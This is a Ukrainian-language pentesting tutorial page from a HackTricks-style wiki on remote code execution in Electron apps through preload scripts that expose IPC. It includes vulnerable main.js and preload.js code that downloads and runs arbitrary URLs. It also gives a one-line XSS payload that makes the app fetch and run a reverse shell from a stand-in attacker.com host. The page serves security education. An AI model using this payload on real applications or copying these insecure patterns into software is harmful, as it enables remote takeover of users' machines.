100 lines
4.1 KiB
Markdown
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# Electron contextIsolation RCE via IPC
{{#include ../../../banners/hacktricks-training.md}}
Якщо скрипт попереднього завантаження відкриває точку доступу IPC з файлу main.js, процес рендерингу зможе отримати до неї доступ, і якщо є вразливість, може бути можливим RCE.
**Більшість з цих прикладів були взяті звідси** [**https://www.youtube.com/watch?v=xILfQGkLXQo**](https://www.youtube.com/watch?v=xILfQGkLXQo). Перегляньте відео для отримання додаткової інформації.
## Example 0
Приклад з [https://speakerdeck.com/masatokinugawa/how-i-hacked-microsoft-teams-and-got-150000-dollars-in-pwn2own?slide=21](https://speakerdeck.com/masatokinugawa/how-i-hacked-microsoft-teams-and-got-150000-dollars-in-pwn2own?slide=21) (у вас є повний приклад того, як MS Teams зловживав XSS для RCE в цих слайдах, це лише дуже базовий приклад):
<figure><img src="../../../images/image (9) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
## Example 1
Перевірте, як `main.js` слухає `getUpdate` і **завантажить та виконає будь-який URL**, що передається.\
Також перевірте, як `preload.js` **відкриває будь-яку IPC** подію з main.
```javascript
// Part of code of main.js
ipcMain.on("getUpdate", (event, url) => {
console.log("getUpdate: " + url)
mainWindow.webContents.downloadURL(url)
mainWindow.download_url = url
})
mainWindow.webContents.session.on(
"will-download",
(event, item, webContents) => {
console.log("downloads path=" + app.getPath("downloads"))
console.log("mainWindow.download_url=" + mainWindow.download_url)
url_parts = mainWindow.download_url.split("/")
filename = url_parts[url_parts.length - 1]
mainWindow.downloadPath = app.getPath("downloads") + "/" + filename
console.log("downloadPath=" + mainWindow.downloadPath)
// Set the save path, making Electron not to prompt a save dialog.
item.setSavePath(mainWindow.downloadPath)
item.on("updated", (event, state) => {
if (state === "interrupted") {
console.log("Download is interrupted but can be resumed")
} else if (state === "progressing") {
if (item.isPaused()) console.log("Download is paused")
else console.log(`Received bytes: ${item.getReceivedBytes()}`)
}
})
item.once("done", (event, state) => {
if (state === "completed") {
console.log("Download successful, running update")
fs.chmodSync(mainWindow.downloadPath, 0755)
var child = require("child_process").execFile
child(mainWindow.downloadPath, function (err, data) {
if (err) {
console.error(err)
return
}
console.log(data.toString())
})
} else console.log(`Download failed: ${state}`)
})
}
)
```
```javascript
// Part of code of preload.js
window.electronSend = (event, data) => {
ipcRenderer.send(event, data)
}
```
Експлуатація:
```html
<script>
electronSend("getUpdate", "https://attacker.com/path/to/revshell.sh")
</script>
```
## Приклад 2
Якщо скрипт попереднього завантаження безпосередньо надає рендеру можливість викликати `shell.openExternal`, це може призвести до отримання RCE.
```javascript
// Part of preload.js code
window.electronOpenInBrowser = (url) => {
shell.openExternal(url)
}
```
## Приклад 3
Якщо скрипт попереднього завантаження відкриває способи повної комунікації з основним процесом, XSS зможе надсилати будь-яку подію. Вплив цього залежить від того, що основний процес відкриває в термінах IPC.
```javascript
window.electronListen = (event, cb) => {
ipcRenderer.on(event, cb)
}
window.electronSend = (event, data) => {
ipcRenderer.send(event, data)
}
```
{{#include ../../../banners/hacktricks-training.md}}